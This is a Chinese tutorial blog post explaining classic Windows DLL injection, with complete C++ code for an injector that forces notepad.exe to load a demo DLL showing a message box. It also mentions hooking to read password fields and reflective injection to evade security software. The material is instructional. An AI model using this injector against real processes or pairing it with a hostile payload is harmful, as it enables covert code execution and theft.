【网络杂烩 ---> 网络安全】DLL 注入 --- c/c++ 代码实现(超 · 详细)
麻了,之前写的博客全是收藏,没人点赞,来点赞行不行!
GitHub同步更新(已分类):DLL_Injection
Gitee同步更新(已分类)DLL_Injection
公众号:URLeisure 的复习仓库
公众号二维码见文末
以下是本篇文章正文内容,下面案例可供参考。
写在开头:感谢好友的不懈讲解!
个人水平有限,如有错误还请各位不吝赐教,在评论区指出错误或私信错误,感谢。
一、DLL 注入概述
DLL 注入
(英语:DLL injection)是一种涉及计算机信息安全的特殊编程技术。它可以强行使一个
进程
加载某个动态链接库
以在其私有地址空间内运行指定代码
(往往是恶意代码)。DLL 注入
的常见手段是用外部 DLL 库覆盖一个程序原先的 DLL 库,目的是实现该程序的作者未预期的结果。比如,注入的代码可以
挂钩(Hook)
系统消息或系统调用,以达到读取密码框的内容等危险目的,而一般编程手段无法达成这些目的。能将任意代码注入任意进程的程序被称为
DLL 注入器(DLL injector)
。
二、DLL 注入原理
Windows 操作系统中,每个进程都有自己
独立的 4G 虚拟内存空间
(保护模式),当程序真正使用时,操作系统才会分配对应的物理内存。也就是
不同进程
有着自己独立的地址空间
。例如,对进程 A 中地址 0x1000000 处的数据进行修改,并不会改变进程 B 中地址 0x1000000 处的数据,甚至进程 B 中可能不存在此地址。
由于不同进程的地址空间相互独立(保护模式),我们很难编写能够与其它进程通信或控制其它进程的程序。
DLL 注入即是,存在进程 A、B,使进程 A 中的 dll 文件强行在进程 B 中加载,此时进程 A 的 dll 文件就进入了进程 B 的地址空间,并使进程 B 执行 dll 文件中的代码。
由于 dll 文件由恶意程序开发者设计,因此程序开发者可对程序 B(目标进程)进行自定义修改。
三、DLL 注入过程
1. 生成 DLL 文件
- 创建 dll 项目 ----> 修改 dllmain.cpp ----> 生成解决方案(dll 文件)
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "stdlib.h"
#include <iostream>using namespace std;BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved
){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: {// 当DLL被进程 <<第一次>> 调用时,导致DllMain函数被调用,HWND hwnd = GetActiveWindow();MessageBox(hwnd, L"DLL已进入目标进程。", L"信息", MB_ICONINFORMATION); //弹出一个模态对话框}}return TRUE;
}
2. 捕获目标进程
- 创建 c++ 项目 ----> 打开目标进程(要注入的进程)----> 获取目标进程 id(pid)
//我们注入记事本
system("start %windir%\\system32\\notepad.exe");//打开
/**
*info ---> 存放快照进程信息的一个结构体
*processName ---> 进程名
* 通过获取系统快照,得到进程列表,通过进程名,遍历进程列表得到 pid
*/
BOOL getProcess32Info(PROCESSENTRY32* info, const TCHAR processName[]){HANDLE handle; handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//获得系统快照句柄info->dwSize = sizeof(PROCESSENTRY32);Process32First(handle, info);//从快照中获取进程列表while (Process32Next(handle, info) != FALSE){if (wcscmp(processName, info->szExeFile) == 0){return TRUE;//找到了}}return FALSE;
}
3. 在目标进程内分配内存
- 通过 pid 得到进程句柄并获得最高权限 ----> 计算所需空间大小 ----> 对目标进程分配内存
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);//返回指定进程的打开句柄,并获得此进程最高权限
if (hProc == 0) return -1;int pathSize = (wcslen(DllFullPath) + 1) * sizeof(wchar_t);//DllFullPath ---> dll 文件路径 计算所需空间大小LPVOID buffer = VirtualAllocEx(hProc, 0, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请内存
if (buffer == 0) return -2;
4. 将 DLL 文件添加到目标进程的内存空间
if (!WriteProcessMemory(hProc, buffer, DllFullPath, pathSize, NULL)) return -3;//并判断是否成功
5. 控制进程运行 DLL 文件
- 在目标进程中的开一个线程调用 LoadLibrary() 函数来载入我们想要的DLL 文件程序。
//调用Kernel32.dll中的LoadLibraryW方法用以加载DLL文件
LPVOID pFunc = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");//创建一个在另一个进程的虚拟地址空间中运行的线程
CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)pFunc, buffer, 0, 0);
四、完整代码
dllmain.cpp(示例):
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "stdlib.h"
#include <iostream>using namespace std;BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved
){switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH: {// 当DLL被进程 <<第一次>> 调用时,导致DllMain函数被调用,HWND hwnd = GetActiveWindow();MessageBox(hwnd, L"DLL已进入目标进程。", L"信息", MB_ICONINFORMATION); //弹出一个模态对话框}}return TRUE;
}
注入器代码(示例):
#include <windows.h>
#include <iostream>
#include <Tlhelp32.h>
#include <stdio.h>
#include <tchar.h>using namespace std;BOOL getProcess32Info(PROCESSENTRY32 *info, const TCHAR processName[]) {HANDLE handle;handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);info->dwSize = sizeof(PROCESSENTRY32);Process32First(handle, info);while (Process32Next(handle, info) != FALSE) {if (wcscmp(processName, info->szExeFile) == 0) {return TRUE;}}return FALSE;
}int InjectDLL(const wchar_t *DllFullPath, const DWORD pid) {HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);if (hProc == 0) return -1;int pathSize = (wcslen(DllFullPath) + 1) * sizeof(wchar_t);LPVOID buffer = VirtualAllocEx(hProc, 0, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (buffer == 0) return -2;if (!WriteProcessMemory(hProc, buffer, DllFullPath, pathSize, NULL)) return -3;LPVOID pFunc = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE) pFunc, buffer, 0, 0);
}int main() {system("start %windir%\\system32\\notepad.exe");PROCESSENTRY32 info;if (getProcess32Info(&info, L"notepad.exe")) {InjectDLL(L"E:\\Dll1.dll", info.th32ProcessID);} else {cout << "查找失败" << endl;}return 0;
}
五、总结
本次 DLL 注入取巧用了 LoadLibrary
一些安全软件对 LoadLibrary 这样的 API 十分敏感,且 DLL 文件本身也容易被检测并被删除
要解决这些问题,就需要用到
反射型 DLL 注入
(没做)。
关注公众号,感受不同的阅读体验
下期预告: 基于数据报套接字的并发服务器的设计与实现
【网络杂烩 ---> 网络安全】DLL 注入 --- c/c++ 代码实现(超 · 详细)相关推荐
- 400 多行代码!超详细 Rasa 中文聊天机器人开发指南 | 原力计划
作者 | 无名之辈FTER 责编 | 夕颜 出品 | 程序人生(ID:coder_life) 本文翻译自Rasa官方文档,并融合了自己的理解和项目实战,同时对文档中涉及到的技术点进行了一定程度的扩展, ...
- 归并排序(代码注释超详细)
归并排序: (复制粘贴百度百科没什么意思),简单来说,就是对数组进行分组,然后分组进行排序,排序完最后再整合起来排序! 我看了很多博客,都是写的8个数据呀什么的(2^4,分组方便),我就想着,要是10 ...
- 学习pandas全套代码【超详细】数据查看、输入输出、选取、集成、清洗、转换、重塑、数学和统计方法、排序
大家早上好,本人姓吴,如果觉得文章写得还行的话也可以叫我吴老师.欢迎大家跟我一起走进数据分析的世界,一起学习! 感兴趣的朋友可以关注我的数据分析专栏,里面有许多优质的文章跟大家分享哦. 本篇博客将会给 ...
- Github上传代码菜鸟超详细教程
最近需要将课设代码上传到Github上,之前只是用来fork别人的代码. 这篇文章写得是windows下的使用方法. 第一步:创建Github新账户 第二步:新建仓库 第三部:填写名称,简介(可选), ...
- win10环境下下载安装openpose(only cpu)并在pycharm中运行代码(超详细)
win10环境下下载安装openpose(only cpu)并在pycharm中运行代码(超详细) (一)前言 (二)准备工作 (三)友情提醒 (四)详细安装步骤 1.新建文件夹 2.下载OpenPo ...
- Deep Learning:基于pytorch搭建神经网络的花朵种类识别项目(内涵完整文件和代码)—超详细完整实战教程
基于pytorch的深度学习花朵种类识别项目完整教程(内涵完整文件和代码) 相关链接:: 超详细--CNN卷积神经网络教程(零基础到实战) 大白话pytorch基本知识点及语法+项目实战 文章目录 基 ...
- Git(2)-- Git安装后首次配置与第一次使用Git和Github管理自己的代码(超详细纯小白图文教程)
文章目录 0.写在前面: 一.注册Github 1.注册Github: 2.登录 3.创建仓库 二.安装Git 三.配置Git和Github(Git安装好后首次使用需要配置完成后才可以使用) 1.打开 ...
- TCP协议的服务器与客户端的程序设计(代码注释超详细)
在上篇博客中讲到了三次握手和四次挥手: Linux网络编程--TCP中的三次握手和四次挥手_神厨小福贵!的博客-CSDN博客服务器编程和客户端编程的大致流程如下:三次握手是在客户端中的connect中 ...
- yolo3各部分代码(超详细)
0.摘要 最近一段时间在学习yolo3,看了很多博客,理解了一些理论知识,但是学起来还是有些吃力,之后看了源码,才有了更进一步的理解.在这里,我不在赘述网络方面的代码,网络方面的代码比较容易理解,下面 ...
最新文章
- msql 数据去重,仅保留一条
- 7.22 校内模拟赛
- argument--学习笔记
- TensorFlow索引与切片语句
- 基于ZF网络的Faster RCNN网络结构详解(非常详细版)
- Promise 基础用法
- ASP.NET Core Razor 页面使用教程
- 1.7 对新序列采样
- 悬赏17万:美国“知乎”的沙雕问题,需要AI来识别
- GNS3中RIP的过滤和修改
- 【java】Spring开发中不能使用IOC的情况
- (详细)VMware虚拟机安装Windows7镜像
- pmp采购管理--合同类型
- 酷派5890 ROM教程
- [他山之玉]轮值董事长郭平 2019年新年致辞
- Android N开发 你需要知道的一切
- C语言 | 复制字符串 不用strcpy
- 【Lintcode】444. Graph Valid Tree II
- python手写代码面试_常见Python面试题 — 手写代码系列
- 袁毓林 李强:怎样用物性结构知识解决“网球问题”?(下)